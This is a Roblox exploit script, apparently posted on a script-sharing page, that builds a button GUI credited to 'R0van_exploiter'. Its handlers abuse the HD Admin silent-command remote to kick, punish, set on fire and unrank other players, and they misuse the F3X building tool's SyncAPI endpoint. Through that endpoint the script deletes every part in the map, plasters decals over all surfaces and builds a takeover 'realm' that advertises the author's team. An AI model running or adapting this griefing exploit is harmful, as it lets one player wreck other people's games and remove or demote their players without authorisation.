LMG2L["Disco_e"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Disco_e"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Disco_e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Disco_e"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Disco_e"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Disco_e"]["Text"] = [[Disco ]];
LMG2L["Disco_e"]["Name"] = [[Disco]];
LMG2L["Disco_e"]["Position"] = UDim2.new(0, 336, 0, 220);
LMG2L["Disco_e"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";disco")
end)

LMG2L["Backd0orrxrt Decal_f"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Backd0orrxrt Decal_f"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Decal_f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Backd0orrxrt Decal_f"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Backd0orrxrt Decal_f"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Backd0orrxrt Decal_f"]["Text"] = [[Backd0orrxrt Decal ]];
LMG2L["Backd0orrxrt Decal_f"]["Name"] = [[Backd0orrxrt Decal]];
LMG2L["Backd0orrxrt Decal_f"]["Position"] = UDim2.new(0, 494, 0, 132);
LMG2L["Backd0orrxrt Decal_f"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
	
		function spam(id)
			for i,v in game.workspace:GetDescendants() do
				if v:IsA("BasePart") then
					spawn(function()
						SetLocked(v,false)
						SpawnDecal(v,Enum.NormalId.Front)
						AddDecal(v,id,Enum.NormalId.Front)
	
						SpawnDecal(v,Enum.NormalId.Back)
						AddDecal(v,id,Enum.NormalId.Back)
	
						SpawnDecal(v,Enum.NormalId.Right)
						AddDecal(v,id,Enum.NormalId.Right)
	
						SpawnDecal(v,Enum.NormalId.Left)
						AddDecal(v,id,Enum.NormalId.Left)
	
						SpawnDecal(v,Enum.NormalId.Bottom)
						AddDecal(v,id,Enum.NormalId.Bottom)
	
						SpawnDecal(v,Enum.NormalId.Top)
						AddDecal(v,id,Enum.NormalId.Top)
					end)
				end
			end 
		end
		spam("96136315502110")
end)

LMG2L["Gun 2_10"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Gun 2_10"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 2_10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Gun 2_10"]["Size"] = UDim2.new(0, 144, 0, 36);
LMG2L["Gun 2_10"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 2_10"]["Text"] = [[Gun 2]];
LMG2L["Gun 2_10"]["Name"] = [[Gun 2]];
LMG2L["Gun 2_10"]["Position"] = UDim2.new(0, 494, 0, 86);
LMG2L["Gun 2_10"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";gear me 8640678553")
end)

LMG2L["RE_11"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["RE_11"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["RE_11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["RE_11"]["Size"] = UDim2.new(0, 40, 0, 36);
LMG2L["RE_11"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["RE_11"]["Text"] = [[RE]];
LMG2L["RE_11"]["Name"] = [[RE]];
LMG2L["RE_11"]["Position"] = UDim2.new(0, 40, 0, 0);
LMG2L["RE_11"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";respawn")
end)

LMG2L["Skybox_12"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Skybox_12"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Skybox_12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Skybox_12"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Skybox_12"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Skybox_12"]["Text"] = [[Skybox ]];
LMG2L["Skybox_12"]["Name"] = [[Skybox]];
LMG2L["Skybox_12"]["Position"] = UDim2.new(0, 20, 0, 86);
LMG2L["Skybox_12"].MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool

for i,v in player:GetDescendants() do
	if v.Name == "SyncAPI" then
		tool = v.Parent
	end
end

for i,v in game.ReplicatedStorage:GetDescendants() do
	if v.Name == "SyncAPI" then
		tool = v.Parent
	end
end

remote = tool.SyncAPI.ServerEndpoint
function _(args)
	remote:InvokeServer(unpack(args))
end

function SetCollision(part,boolean)
	local args = {
		[1] = "SyncCollision",
		[2] = {
			[1] = {
				["Part"] = part,
				["CanCollide"] = boolean
			}
		}
	}
	_(args)
end

function SetAnchor(boolean,part)
	local args = {
		[1] = "SyncAnchor",
		[2] = {
			[1] = {
				["Part"] = part,
				["Anchored"] = boolean
			}
		}
	}
	_(args)
end

function CreatePart(cf,parent)
	local args = {
		[1] = "CreatePart",
		[2] = "Normal",
		[3] = cf,
		[4] = parent
	}
	_(args)
end

function DestroyPart(part)
	local args = {
		[1] = "Remove",
		[2] = {
			[1] = part
		}
	}
	_(args)
end

function MovePart(part,cf)
	local args = {
		[1] = "SyncMove",
		[2] = {
			[1] = {
				["Part"] = part,
				["CFrame"] = cf
			}
		}
	}
	_(args)
end

function Resize(part,size,cf)
	local args = {
		[1] = "SyncResize",
		[2] = {
			[1] = {
				["Part"] = part,
				["CFrame"] = cf,
				["Size"] = size
			}
		}
	}
	_(args)
end

function AddMesh(part)
	local args = {
		[1] = "CreateMeshes",
		[2] = {
			[1] = {
				["Part"] = part
			}
		}
	}
	_(args)
end

function SetMesh(part,meshid)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["MeshId"] = "rbxassetid://"..meshid
			}
		}
	}
	_(args)
end

function SetTexture(part, texid)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["TextureId"] = "rbxassetid://"..texid
			}
		}
	}
	_(args)
end

function SetName(part, stringg)
	local args = {
		[1] = "SetName",
		[2] = {
			[1] = part
		},
		[3] = stringg
	}
	_(args)
end

function MeshResize(part,size)
	local args = {
		[1] = "SyncMesh",
		[2] = {
			[1] = {
				["Part"] = part,
				["Scale"] = size
			}
		}
	}
	_(args)
end

function Weld(part1, part2,lead)
	local args = {
		[1] = "CreateWelds",
		[2] = {
			[1] = part1,
			[2] = part2
		},
		[3] = lead
	}
	_(args)
end

function SetLocked(part,boolean)
	local args = {
		[1] = "SetLocked",
		[2] = {
			[1] = part
		},
		[3] = boolean
	}
	_(args)
end

function SetTrans(part,int)
	local args = {
		[1] = "SyncMaterial",
		[2] = {
			[1] = {
				["Part"] = part,
				["Transparency"] = int
			}
		}
	}
	_(args)
end

function CreateSpotlight(part)
	local args = {
		[1] = "CreateLights",
		[2] = {
			[1] = {
				["Part"] = part,
				["LightType"] = "SpotLight"
			}
		}
	}
	_(args)
end

function SyncLighting(part,brightness)
	local args = {
		[1] = "SyncLighting",
		[2] = {
			[1] = {
				["Part"] = part,
				["LightType"] = "SpotLight",
				["Brightness"] = brightness
			}
		}
	}
	_(args)
end

function Color(part,color)
	local args = {
		[1] = "SyncColor",
		[2] = {
			[1] = {
				["Part"] = part,
				["Color"] = color,
				["UnionColoring"] = false
			}
		}
	}
	_(args)
end

function SpawnDecal(part,side)
	local args = {
		[1] = "CreateTextures",
		[2] = {
			[1] = {
				["Part"] = part,
				["Face"] = side,
				["TextureType"] = "Decal"
			}
		}
	}
	_(args)
end

function AddDecal(part,asset,side)
	local args = {
		[1] = "SyncTexture",
		[2] = {
			[1] = {
				["Part"] = part,
				["Face"] = side,
				["TextureType"] = "Decal",
				["Texture"] = "rbxassetid://".. asset
			}
		}
	}
	_(args)
end

function Sky(id)
	local root = char:WaitForChild("HumanoidRootPart")
	local pos = root.CFrame + Vector3.new(0, 6, 0)
	CreatePart(pos, workspace)
	task.wait(0.2)
	local skyPart
	for _, v in workspace:GetChildren() do
		if v:IsA("BasePart") and (v.Position - pos.Position).magnitude < 1 then
			skyPart = v
			break
		end
	end
	if skyPart then
		SetName(skyPart, "Sky")
		AddMesh(skyPart)
		SetMesh(skyPart, "111891702759441")
		SetTexture(skyPart, id)
		MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
		SetLocked(skyPart, true)
		SetAnchor(true, skyPart)
	end
end

Sky("129040246467134")
end)

LMG2L["Fire All_13"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Fire All_13"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Fire All_13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Fire All_13"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Fire All_13"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Fire All_13"]["Text"] = [[Fire All]];
LMG2L["Fire All_13"]["Name"] = [[Fire All]];
LMG2L["Fire All_13"]["Position"] = UDim2.new(0, 20, 0, 176);
LMG2L["Fire All_13"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";fire all")
end)

LMG2L["TextLabel2_14"] = Instance.new("TextLabel", LMG2L["Frame_2"]);
LMG2L["TextLabel2_14"]["BorderSizePixel"] = 0;
LMG2L["TextLabel2_14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["TextLabel2_14"]["TextColor3"] = Color3.fromRGB(89, 253, 255);
LMG2L["TextLabel2_14"]["Size"] = UDim2.new(0, 426, 0, 36);
LMG2L["TextLabel2_14"]["Text"] = [[Script Made By R0van_exploiter]];
LMG2L["TextLabel2_14"]["Name"] = [[TextLabel2]];
LMG2L["TextLabel2_14"]["Position"] = UDim2.new(0, 142, 0, 342);


LMG2L["Kick Other_15"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Kick Other_15"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kick Other_15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Kick Other_15"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Kick Other_15"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Kick Other_15"]["Text"] = [[Kick Other ]];
LMG2L["Kick Other_15"]["Name"] = [[Kick Other]];
LMG2L["Kick Other_15"]["Position"] = UDim2.new(0, 336, 0, 176);
LMG2L["Kick Other_15"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";kick other")
end)

LMG2L["Gun 1_16"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Gun 1_16"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 1_16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Gun 1_16"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Gun 1_16"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Gun 1_16"]["Text"] = [[Gun 1]];
LMG2L["Gun 1_16"]["Name"] = [[Gun 1]];
LMG2L["Gun 1_16"]["Position"] = UDim2.new(0, 336, 0, 86);
LMG2L["Gun 1_16"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";gear me 10648330247")
end)

LMG2L["Massage_17"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Massage_17"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Massage_17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Massage_17"]["Size"] = UDim2.new(0, 150, 0, 36);
LMG2L["Massage_17"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Massage_17"]["Text"] = [[Massage ]];
LMG2L["Massage_17"]["Name"] = [[Massage]];
LMG2L["Massage_17"]["Position"] = UDim2.new(0, 178, 0, 132);
LMG2L["Massage_17"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent

RequestCommand:InvokeServer(";mb Team R0van Join Today")
end)

LMG2L["Realm_18"] = Instance.new("TextButton", LMG2L["Frame_2"]);
LMG2L["Realm_18"]["TextColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Realm_18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
LMG2L["Realm_18"]["Size"] = UDim2.new(0, 422, 0, 28);
LMG2L["Realm_18"]["BorderColor3"] = Color3.fromRGB(58, 247, 255);
LMG2L["Realm_18"]["Text"] = [[Realm]];
LMG2L["Realm_18"]["Name"] = [[Realm]];
LMG2L["Realm_18"]["Position"] = UDim2.new(0, 140, 0, 302);
LMG2L["Realm_18"].MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer(";btools me")
    RequestCommand:InvokeServer(";fogcolor black")
	wait(0.4)
	RequestCommand:InvokeServer(";punish all")
	wait(0.1)
	local player = game.Players.LocalPlayer
	local char = player.Character
	local backpack = player.Backpack

	local function getf3x()
		for _, v in ipairs(backpack:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end
		for _, v in ipairs(char:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end

		return nil
	end
	local f3x = getf3x()
	if not f3x then
		warn("you dont have f3x skid")
	end
	local syncapi = f3x.SyncAPI
	local serverendpoint = syncapi.ServerEndpoint

	local function delete(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function deleteall()
		for _, v in ipairs(workspace:GetDescendants()) do
			if v:IsA("BasePart") or v:IsA("UnionOperation") then
				spawn(function()
					delete(v)
				end)
			end
		end
	end

	deleteall()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer(";fogcolor black ;time")
	local player = game.Players.LocalPlayer
	local char = player.Character
	local backpack = player.Backpack

	local function getf3x()
		for _, v in ipairs(backpack:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end
		for _, v in ipairs(char:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end

		return nil
	end
	local f3x = getf3x()
	if not f3x then
		warn("you dont have f3x skid")
	end
	local syncapi = f3x.SyncAPI
	local serverendpoint = syncapi.ServerEndpoint

	local function resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmaterial(part,mate,trans)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Material"] = mate
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end
	local function transparency(part,trans)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = trans
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function color(part, color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmeshid(part, id)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..id
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function makemesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmeshsize(part, vectora)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = vectora
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmeshtexture(part, id)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] =	"rbxassetid://"..id
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function name(part, stringa)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringa
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function lock(part, boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function setcollision(part, booleana)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = booleana
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function setanchor(part, boolean)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function createdecal(part, side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end
	local function setdecal(part, asset, side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function makerealmbase()
		local position = CFrame.new(0, 5, 0)
		local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
		resize(base, Vector3.new(500, 16, 500), position)
		syncmaterial(base, Enum.Material.Concrete)
		color(base, Color3.new(0.513725, 0.513725, 0.513725))
		name(base, "loltroll")
		lock(base, true)

		local spawnpos = CFrame.new(34.5, 8.1, -26)
		local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
		resize(spawna, Vector3.new(20, 10, 20), spawnpos)
		name(spawna, "SpawnLocation")
		lock(spawna, true)

		createdecal(spawna, Enum.NormalId.Top)
		setdecal(spawna, "98969972196565", Enum.NormalId.Top) -- ganti decalnya pake decal lu
		transparency(spawna, 1)

		local pos = CFrame.new(74.143, 24, -25.232)

		local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)

		transparency(rules, 0)
		setcollision(rules, false)
		createdecal(rules, Enum.NormalId.Left)
		setdecal(rules, "100969683185448", Enum.NormalId.Left)
		color(rules, Color3.new(1, 1, 1))
		resize(rules, Vector3.new(3.5, 25, 40), pos)
          name(rules, "rules block")
          lock(rules, true)

		local pos = CFrame.new(1.143, 24, -25.232)

		local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)

		transparency(bad, 1)
		setcollision(bad, false)
		createdecal(bad, Enum.NormalId.Right)
          setdecal(bad, "93975396335908",Enum.NormalId.Right)
		resize(bad, Vector3.new(3.5, 25, 40), pos)
          name(bad, "bad invisible lol")
          lock(bad, true)

	end

	local function sky()
		local position = CFrame.new(0, 5, 0)
		local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)

		makemesh(sky)
		syncmeshid(sky, "129040246467134")
		syncmeshtexture(sky, "129040246467134")
		syncmeshsize(sky, Vector3.new(20000, 20000, 20000))
		lock(sky, true)
		name(sky, "z238z LOL")
		setcollision(sky, false)
	end






	local function unanchorall()
		for _, v in ipairs(workspace:GetDescendants()) do
			if v:IsA("BasePart") or v:IsA("UnionOperation") then
				spawn(function()
					setanchor(v, false)
				end)
			end
		end
	end

	local function realm()
		sky()
		makerealmbase()
	end

	realm()

	RequestCommand:InvokeServer(";res all")
	wait(0.3)
	RequestCommand:InvokeServer(";r6 all ")
    
 
     RequestCommand:InvokeServer(";time 9")
	wait(0.7)
	RequestCommand:InvokeServer(";music 127653283576622 ;volume inf  ;pitch 1 ;unRank other")
end)

return LMG2L["ScreenGui_1"], require;

Features & Information

Idk

Community Comments (2)

Di0nbers85Di0nbers85May 3, 2026

Wdym idk

Roblox_ADD66Roblox_ADD66Aug 1, 2026

Thanks

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